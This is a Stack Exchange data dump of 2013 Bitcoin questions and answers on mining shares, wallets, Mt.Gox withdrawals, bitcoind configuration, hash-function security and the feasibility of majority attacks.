  <row Id="8668" PostTypeId="1" AcceptedAnswerId="8682" CreationDate="2013-03-24T19:52:33.487" Score="0" ViewCount="460" Body="&lt;p&gt;Many pools offer a difficulty of 1 per share.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since variable difficulty is a feature of a couple of pools, I'd like to understand how many shares would be created at varying levels of difficulty.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is the formula to determine the average number of shares when the hashrate and difficulty are known?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is a variation of the following question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/8075/1878&quot;&gt;Given the probability of finding a block, and time taken, can I infer hashrate?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-03-25T09:32:21.880" Title="How many shares will be found for a given hashrate?" Tags="|mining-pools|hash|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8676" PostTypeId="1" CreationDate="2013-03-25T02:20:44.677" Score="2" ViewCount="219" Body="&lt;p&gt;My niece turns 4 next month and I'd like to give her a fraction of a Bitcoin for her birthday.  What is a good way to do this so that she can hold on to it for 10 years or so?  Should I just store in a wallet myself and then give it to her later on?  As far as I know, her parents are not familiar with Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="3068" LastEditorUserId="516" LastEditDate="2013-03-25T02:32:10.260" LastActivityDate="2013-03-25T02:50:50.793" Title="My Niece is turning 4 and would like to give her BTC. What is the best way to give/store long-term?" Tags="|storage|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8677" PostTypeId="2" ParentId="8676" CreationDate="2013-03-25T02:50:50.793" Score="2" Body="&lt;p&gt;As a gift to a child, I'd recommend something more tangible than paper, such as a &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;Casascius&lt;/a&gt; coin or gold-plated bar. Yeah, it's more than a fraction of a bitcoin, but the load-it-yourself option might be more affordable.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-25T02:50:50.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8678" PostTypeId="1" CreationDate="2013-03-25T02:53:39.133" Score="1" ViewCount="3655" Body="&lt;p&gt;I'm totally new to this, but love this idea!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to help, (and generate coin), and have only installed Bitcoin-Qt version 0.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It ran, synchronized; I encrypted my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now what?  Will it use my 2 NVIDIA gtx580 GPU's on its own? Do I need to do anything else, other than just let it run?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got the green checkmark; up to date&lt;br&gt;&#xA;I have 8 active connections and my wallet is both locked(?) and encrypted.&lt;/p&gt;&#xA;" OwnerUserId="3569" LastEditorUserId="5406" LastEditDate="2016-02-21T09:10:05.780" LastActivityDate="2016-02-21T09:10:05.780" Title="How do I get started mining bitcoin with a GPU?" Tags="|gpu-mining|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-06T20:46:37.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="8681" PostTypeId="2" ParentId="8678" CreationDate="2013-03-25T04:43:50.927" Score="1" Body="&lt;p&gt;I just did this today...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a mining pool (I picked Eligius) from here &lt;a href=&quot;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pools website had further instructions. In my case, I installed a mining client &quot;bfgminer&quot; and followed the instructions to add my ID. It sounds like for a windows OS, GUIMiner might be a good start too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gui miner thread &lt;a href=&quot;https://bitcointalk.org/?topic=3878.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/?topic=3878.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key thing to realize is that there is a difference being a BitCoin &quot;client&quot;, which is what you setup above, and a BitCoin &quot;miner&quot; which requires the steps I in this response.&lt;/p&gt;&#xA;" OwnerUserId="3572" LastActivityDate="2013-03-25T04:43:50.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8682" PostTypeId="2" ParentId="8668" CreationDate="2013-03-25T09:32:21.880" Score="1" Body="&lt;p&gt;One difficulty-1 share takes on average 2^32 = 4.3 billion hashes to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your hashrate is X GH/s, then in one day the number of difficulty-d shares you'll find is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(X * 1000000000 * 86400) / (2^32 * d)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or simply&lt;/p&gt;&#xA;&#xA;&lt;p&gt;20,000 * X / d&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-03-25T09:32:21.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8683" PostTypeId="1" AcceptedAnswerId="8692" CreationDate="2013-03-25T10:15:18.460" Score="2" ViewCount="784" Body="&lt;p&gt;If a share does not lead to a valid block they would not require to be sent to the server?&#xA;Or is the only purpose of the share sent to the server to show that the client did some work?&lt;/p&gt;&#xA;" OwnerUserId="3576" LastEditorUserId="5406" LastEditDate="2016-02-21T09:08:35.720" LastActivityDate="2016-02-21T09:08:35.720" Title="Who decides whether a submitted share leads to a valid block or not?" Tags="|mining-pool-shares|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8684" PostTypeId="1" AcceptedAnswerId="10171" CreationDate="2013-03-25T10:34:41.643" Score="5" ViewCount="938" Body="&lt;p&gt;How does Mt.Gox. calculate high and low price? How can last price, over time, be higher than the high price?&lt;/p&gt;&#xA;" OwnerUserId="3577" LastEditorUserId="5406" LastEditDate="2015-05-28T18:26:24.700" LastActivityDate="2015-05-28T18:26:24.700" Title="How does Mt.Gox calculate high and low price?" Tags="|exchanges|mtgox|exchange-rate|price-discovery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8685" PostTypeId="2" ParentId="8684" CreationDate="2013-03-25T11:09:25.703" Score="0" Body="&lt;p&gt;AFAIK last price cannot be higher than high price or lower than low, if that happened it must have been a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try reporting it.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-03-25T11:09:25.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8686" PostTypeId="2" ParentId="3111" CreationDate="2013-03-25T14:55:35.437" Score="4" Body="&lt;p&gt;I now see a much more urgent and catastrophic threat vector &lt;strong&gt;potentially circa 2016&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficulty will tend to rise and fall such that the system-wide cost of mining is nearly the value of the coins mined (not perfectly but on a smoothed basis roughly true).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3111/will-bitcoin-suffer-from-a-mining-tragedy-of-the-commons-when-mining-fees-drop-t/8546#8546&quot;&gt;lowest-cost marginal miners&lt;/a&gt; will earn the highest profits and rates-of-return. Thus, as &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8671/any-counter-proof-that-satoshi-nakamoto-did-not-design-a-ponzi-scheme-on-purpose#comment11308_8671&quot;&gt;Satoshi Nakamoto anticipated&lt;/a&gt;, mining will &lt;strong&gt;become centralized&lt;/strong&gt; among those with more capital who can buy the highest performance hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is more accentuated by the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8671/any-counter-proof-that-satoshi-nakamoto-did-not-design-a-ponzi-scheme-on-purpose&quot;&gt;designed volatility&lt;/a&gt; in the price of Bitcoins, because a) marginal cost producers can go through periods of negative profits or no production, and b) more capital means more inertial reserve, economy-of-scale access to capital funding markets, and access to debt to delay insolvency so as to smooth volatility in market conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Relevant excerpt from linked question above which was deleted:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;since Bitcoin is such a minuscule portion of the economy and can't create such global &quot;network effects&quot; on real productivity, appreciation in FX price is the main mechanism for evidence of the creation of value. Appreciation in price does create some value because it encourages the teaching, investment in, and thus spread of the currency. However, when the appreciation in FX price moves exponentially faster than any human calculable time-preference for opportunity cost, and exponentially faster than growth in spending for goods &amp;amp; services can (due to its connection to real world of profit &amp;amp; loss that adapts more slowly than speculation), then the price is dominated by wild guessing, i.e. emotional speculation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So to capture a majority or maybe even most of the mining, an entity probably merely needs to subsidize on a large-scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The government or powerful elite has the funds to do this, either in public view using taxes (or deposit insurance on P2P currencies) or &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8572/powerful-elite-thwarting-cryptocurrencies/8653#8653&quot;&gt;in documented black budgets&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a scenario where the public would clamor for the government to fix a problem by doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine the public became heavily invested in wild &quot;dot.com 2.0&quot; run of Bitcoin price appreciation to say $1000, $10000, or $100000 (as some people expect). All bubbles eventually crash. Tangentially, the creator of Bitcoin would &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8672/3441&quot;&gt;probably be a $billionaire&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with an exponential crash in price, there could be a drastic reduction in miners, joined with a public wanting to blame something or someone. The government could probably find massive support for deposit insurance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus I conclude that the computational Proof-of-Work design of Bitcoin is a serious threat to anyone who views Bitcoin as being independent of the control of the government. Noting that correlation isn't proof yet via Occam's Razor &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8671/any-counter-proof-that-satoshi-nakamoto-did-not-design-a-ponzi-scheme-on-purpose&quot;&gt;it is ostensibly designed&lt;/a&gt; for this outcome and thus to fall into the lap of the government.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And we are not talking about 2040. The pricing froth is building now so this could happen soon. And we also have another halving of the debasement payout rate in late 2016.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which Btw, is when the repeating-throughout-all-recorded-history &lt;a href=&quot;http://armstrongeconomics.com/models/7219-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Economic Confidence Model&lt;/a&gt; expects this &lt;a href=&quot;http://armstrongeconomics.com/2013/03/05/beware-the-dollar-rally/&quot; rel=&quot;nofollow noreferrer&quot;&gt;current bounce of capital flows into the USA dollar economy&lt;/a&gt; to turn hard down again a la 2008— exactly when we will need a P2P currency to help us avoid chaos of capital controls and liquidity collapse. &lt;strong&gt;Bitcoin could fail at precisely the time when we will need it most&lt;/strong&gt;. That is what concerns me so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would very, very much appreciate if any downvoters sign with a comment, in case this answer becomes prophetic we will be able to know how prescient you were.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="51948" LastEditDate="2017-11-07T21:28:12.063" LastActivityDate="2017-11-07T21:28:12.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8687" PostTypeId="1" CreationDate="2013-03-25T15:26:37.940" Score="3" ViewCount="1193" Body="&lt;p&gt;How might Bitcoin be made impervious from attack by large monied interests that could atttack with a brute force majority hashrate hack?  &lt;/p&gt;&#xA;" OwnerUserId="3526" LastEditorUserId="5406" LastEditDate="2015-06-09T22:46:52.820" LastActivityDate="2015-06-09T22:46:52.820" Title="Developments to prevent 51% hack" Tags="|development|attack|weaknesses|majority-attack|" AnswerCount="2" CommentCount="1" ClosedDate="2013-03-30T11:58:25.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="8688" PostTypeId="2" ParentId="8687" CreationDate="2013-03-25T16:18:10.507" Score="0" Body="&lt;p&gt;A brute force hack would not work. Image a computer capable of expelling the lowest amount of energy conceivable to record a change in a bit from 1-0 or 0-1. Now take this computer and make it on the scale of our sun. Also imagine we can cool this computer to near zero kelvin with no other energy input. All input energy goes into changing bits and that's it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now take all the power our sun will make in its lifetime, and power the computer with it. It will take longer than imaginable to even just simple count to 2^256 let alone try to brute force attack a sha-256 algorithm. So brute force will never work.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;--&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You must gain more computing power than 50% of the network. This means on average you will create more block solvers than the &amp;lt;50%. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But wait again you need to account for the blockchain to date, so once you get this computer power you must now create a new fake blockchain which will take time; (Currently it take 8 hours to download the full chain, imagine how long it would take to compute it!) your new blockchain must be made (this is the whole point of the attack change the blockchain so you have more btc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So assuming you have time to create this new blockchain, no everyone must accept it. It is in the bitcoin protocol to accept the longest blockchain to date, because it has the most transactions the most knowledge of the entire system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you create this blockchain and send it to everyone, they all then proceed to take their 8 hours to get the new blockchain, but wait.... why is there a new blockchain everyone would say!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be obvious someone has made a new one because you are downloading it as if this is the first time on the network. And the real smart people who write bitcoin protocol would be very privy to this, and at the least have 8 hours to react. It would be to obvious.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;--&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The only real way I think to hurt bitcoin is to buy up all the coins, or release a whole bunch of coins into circulation greatly affecting prices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this would even be sorted out by the bitcoin design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price drops, people stop mining because it become less profitable. Cause the miners stop difficulty goes down, more people mine because it is profitable because the difficulty is so easy they can make enough btc to cover their costs, bitcoin is up and running again.&lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2013-03-25T16:18:10.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8690" PostTypeId="2" ParentId="8683" CreationDate="2013-03-25T16:24:27.260" Score="1" Body="&lt;p&gt;Yes, shares are there to provide to the pool operator that you are working with the pool. Because you are actually hashing data and providing valid hashes of the data the pool sent, it proves you are working with them, meaning you deserve some of the sweet BTC reward when someone finds the actual answer. &lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2013-03-25T16:24:27.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8692" PostTypeId="2" ParentId="8683" CreationDate="2013-03-25T17:21:23.560" Score="1" Body="&lt;p&gt;No person decides. This block of C++ code decides:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool CheckProofOfWork(uint256 hash, unsigned int nBits)&#xA;{&#xA;    CBigNum bnTarget;&#xA;    bnTarget.SetCompact(nBits);&#xA;&#xA;    // Check range&#xA;    if (bnTarget &amp;lt;= 0 || bnTarget &amp;gt; bnProofOfWorkLimit)&#xA;        return error(&quot;CheckProofOfWork() : nBits below minimum work&quot;);&#xA;&#xA;    // Check proof of work matches claimed amount&#xA;    if (hash &amp;gt; bnTarget.getuint256())&#xA;        return error(&quot;CheckProofOfWork() : hash doesn't match nBits&quot;);&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For people who can't read C++: It looks at the target hash field, then unpacks it, and compares it to the actual hash.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-25T17:21:23.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8698" PostTypeId="1" CreationDate="2013-03-25T19:51:13.953" Score="1" ViewCount="1361" Body="&lt;p&gt;I would like to setup bitcoind to run in the background but not have live bindings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind&#xA;bitcoind -server&#xA;bitcoind -daemon&#xA;bitcoind -daemon -server&#xA;bitcoin.conf (server=0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0.8.1 seems to bind to 127.0.0.1:8332, 0.0.0.0:8333, ::1:8332, :::8333&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i disable all bindings and have bitcoind respond via command line, while maintaining new blocks?&#xA;OR&#xA;How do i bind only to 127.0.0.1:8332?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goal: duplicate mysqld behavior.&lt;/p&gt;&#xA;" OwnerUserId="2090" LastEditorUserId="2090" LastEditDate="2013-03-25T20:09:20.197" LastActivityDate="2013-04-25T05:07:54.127" Title="How to change bitcoind 0.8.1 bind settings?" Tags="|bitcoind|server|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8699" PostTypeId="1" AcceptedAnswerId="8701" CreationDate="2013-03-25T20:18:50.487" Score="3" ViewCount="2548" Body="&lt;p&gt;I've purchased a few bitcoins on MtGox. Now I'd like to spend them. &lt;strong&gt;How can I actually spend the coins I purchased on MtGox?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked around mtgox.com for any indication of private keys, bitcoins addresses, hashes etc but didn't see anything. I'm fairly new to Bitcoin so there's probably something fundamental I don't quite understand yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="3582" LastEditorUserId="153" LastEditDate="2013-03-26T14:38:58.373" LastActivityDate="2013-12-22T08:47:49.687" Title="How do I withdraw bitcoins from my MtGox account?" Tags="|mtgox|spending|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8700" PostTypeId="2" ParentId="8699" CreationDate="2013-03-25T21:11:16.370" Score="2" Body="&lt;p&gt;Go to funding options -&gt; withdraw funds -&gt; choose withdraw method Bitcoin -&gt; Enter the amount you want to transfer -&gt; Enter a bitcoin adress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably send to your wallet and use your wallet for purchases.&lt;/p&gt;&#xA;" OwnerUserId="3577" LastEditorUserId="1878" LastEditDate="2013-03-25T21:37:07.753" LastActivityDate="2013-03-25T21:37:07.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8701" PostTypeId="2" ParentId="8699" CreationDate="2013-03-25T21:11:19.493" Score="3" Body="&lt;p&gt;Easy: you transfer them to other addresses. Go to Mt Gox, log in, select &quot;Funding Options,&quot; select &quot;Withdraw,&quot; select &quot;Bitcoin&quot; in the drop down box. You then can put in an amount, and an address of where you want to send your BC (bitcoins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know where to spend them, check out &lt;a href=&quot;https://www.bitcoinstore.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinstore.com/&lt;/a&gt; as an example. Personally, I am keeping mine as an investment - I have owned them for around 6 months and have made 150% returns. But you can also use them to pay friends around the world without paying a middleman. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enjoy your cryptocurrency! &lt;/p&gt;&#xA;" OwnerUserId="3591" LastActivityDate="2013-03-25T21:11:19.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8702" PostTypeId="1" AcceptedAnswerId="8703" CreationDate="2013-03-26T00:07:14.160" Score="8" ViewCount="3413" Body="&lt;p&gt;If not, what else would be needed to steal all funds from all people and completely break bitcoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I bet some will say ECSDA gives bitcoin an additional layer of protection. I counter this by saying ECSDA is dependent on a hash function such as SHA256. So I will ask this as well: What kind of ECSDA does bitcoin use and would it still be protected if SHA256 were broken?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, I know I am illustrating an unlikely scenario but I still believe we should know what will happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to mention other hash functions in relation to SHA256, you can. Feel free to explain how RIPEMD-160 would keep bitcoin safe in case of a SHA256 exploit.&lt;/p&gt;&#xA;" OwnerUserId="3596" LastEditorUserId="3596" LastEditDate="2013-03-26T00:41:00.250" LastActivityDate="2014-11-18T00:32:30.750" Title="If SHA256 and/or RIPEMD-160 were broken, would all bitcoin addresses be compromised?" Tags="|address|cryptography|ecdsa|hacking|sha256|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8703" PostTypeId="2" ParentId="8702" CreationDate="2013-03-26T00:37:39.580" Score="7" Body="&lt;p&gt;Bitcoin uses SHA256 followed by RIPEMD-160, which I'll collectively call HASH160.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good hashes have 4 properties: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;it is easy to compute the hash value for any given message &lt;/li&gt;&#xA;&lt;li&gt;it is infeasible to generate a message that has a given hash&lt;/li&gt;&#xA;&lt;li&gt;it is infeasible to modify a message without changing the hash&lt;/li&gt;&#xA;&lt;li&gt;it is infeasible to find two different messages with the same hash&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptographic_hash_function&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We care about properties 1, 2, and 3. We know for a fact that property 1 is true about HASH160 - we can benchmark it. If properties 2 or 3 were false, then you could steal bitcoins. Not good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a good thing that &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Standard_Transaction_to_Bitcoin_address&quot; rel=&quot;nofollow&quot;&gt;the scripting language&lt;/a&gt; is so flexible, and would allow people to switch to a different address type without forcing everyone to upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a current bitcoin transaction script: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; OP_DUP OP_HASH160 09432ab39083b5098b6f09432ab39083b5098b6f OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's how that might change if HASH160 were broken:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH256 09432ab39083b5098b6f09432ab39083b5098b6f09432ab39083b5098b6f826496 OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that we've swapped HASH160 for HASH256. Or, assuming both were broken:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pubKey&amp;gt; OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we're forgoing hash functions entirely and putting in the ECDSA key explicitly. However, this would make bitcoin addresses about a hundred characters long.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-18T00:32:30.750" LastActivityDate="2014-11-18T00:32:30.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8704" PostTypeId="1" AcceptedAnswerId="23317" CreationDate="2013-03-26T02:28:39.680" Score="4" ViewCount="511" Body="&lt;p&gt;Litecoin uses a hashing algorithm that, so far, is best run on CPUs rather than GPUs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because most computers are not purchased for gaming and don't have powerful GPUs (which would have been useful for Bitcoin mining, at least until ASICs arrived on the scene), it would probably be far more profitable for a botnet to mine litecoins than bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the current Litecoin/Bitcoin exchange rate, the total litecoin network generates 216BTC worth of litecoins per day in block rewards (the Bitcoin network provides 3600BTC/day), which provides a substantial profit incentive to someone running a botnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any evidence that botnets are responsible for a substantial amount of litecoin mining? Could this be detected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any known malware that mines Litecoin?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-03-26T02:34:47.033" LastActivityDate="2014-03-10T07:36:29.737" Title="Is there any evidence that the Litecoin network is significantly affected by botnet mining?" Tags="|litecoin|botnets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8705" PostTypeId="2" ParentId="8698" CreationDate="2013-03-26T04:50:49.653" Score="1" Body="&lt;p&gt;it seems the following is the answer to both questions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// bitcoind.conf, v0.8.1&#xA;irc=0&#xA;listen=0&#xA;rpcpassword=&amp;lt;hash&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this results in a 127.0.0.1:8332 and ::1:8332 listen only. i was unsuccessful in locating a command that disables ipv6 listens. the onlynet= command limits peer connection types, not listen types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;listen=0 disables live listens, but does not affect localhost binds.&#xA;the bind= command only works if listen=1&#xA;note that rpcuser= is set default to root if omitted and only accessible by a user with said credentials. disabling all listens would make the daemon inaccessible by command line. the server= command only works for bitcoin-qt.&lt;/p&gt;&#xA;" OwnerUserId="2090" LastActivityDate="2013-03-26T04:50:49.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8706" PostTypeId="1" CreationDate="2013-03-26T05:03:11.097" Score="5" ViewCount="342" Body="&lt;p&gt;I was reading this interesting discussion in the comments section on ZH where this guy was talking about how a single entity (think corrupt government and banksters) can throw money and processing power at will at the network to successfully manage a 51% attack or just cause havoc in the system by sending incorrect network messages, such as denying valid transactions or allowing invalid transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The initial part of the discussion quoted here&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Assume I'm a completely unscrupulous and ammoral person, for example,&#xA;  and I want to shut down bitcoin.  Here are the ways I would attempt to&#xA;  do it.&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Write a virus to mine bit coins and spread it across the internet.&lt;/li&gt;&#xA;  &lt;li&gt;Write a virus to steal bit coins, and spread it across the internet.&lt;/li&gt;&#xA;  &lt;li&gt;Write a virus to act as part of the bitcoin network, and deny&#xA;  transactions that are valid&lt;/li&gt;&#xA;  &lt;li&gt;Write a virus to act as part of the bitcoin network to approve&#xA;  transactions that are invalid.&lt;/li&gt;&#xA;  &lt;li&gt;Dump the bit coins I mined as part of step #1 and #2 on the market&lt;/li&gt;&#xA;  &lt;li&gt;Create a mania in bitcoins by dumping billions into buying bitcoins&#xA;  after doing step #5&lt;/li&gt;&#xA;  &lt;li&gt;Associate it with terrorism&lt;/li&gt;&#xA;  &lt;li&gt;Associate it with drugs&lt;/li&gt;&#xA;  &lt;li&gt;Claim that people like me are manipulating it&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;And that's just off the top of my head.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I gots unlimited money.  I am working in a market that is unregulated.&#xA;  I run the government or own it.  Try to stop me.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is a link to that discussion. &#xA;&lt;a href=&quot;http://www.zerohedge.com/news/2013-03-25/bitcoin-mania-accelerates?page=2#comment-3373165&quot; rel=&quot;nofollow&quot;&gt;http://www.zerohedge.com/news/2013-03-25/bitcoin-mania-accelerates?page=2#comment-3373165&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please comment on whether this is possible and if not, how does the bitcoin algorithm/ecosystem counter such an attack&lt;/p&gt;&#xA;" OwnerUserId="3095" LastEditorUserId="5406" LastEditDate="2015-06-17T16:14:40.360" LastActivityDate="2015-10-29T19:25:39.493" Title="Can someone with an unlimited amount of money compromize the network?" Tags="|security|weaknesses|majority-attack|government|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
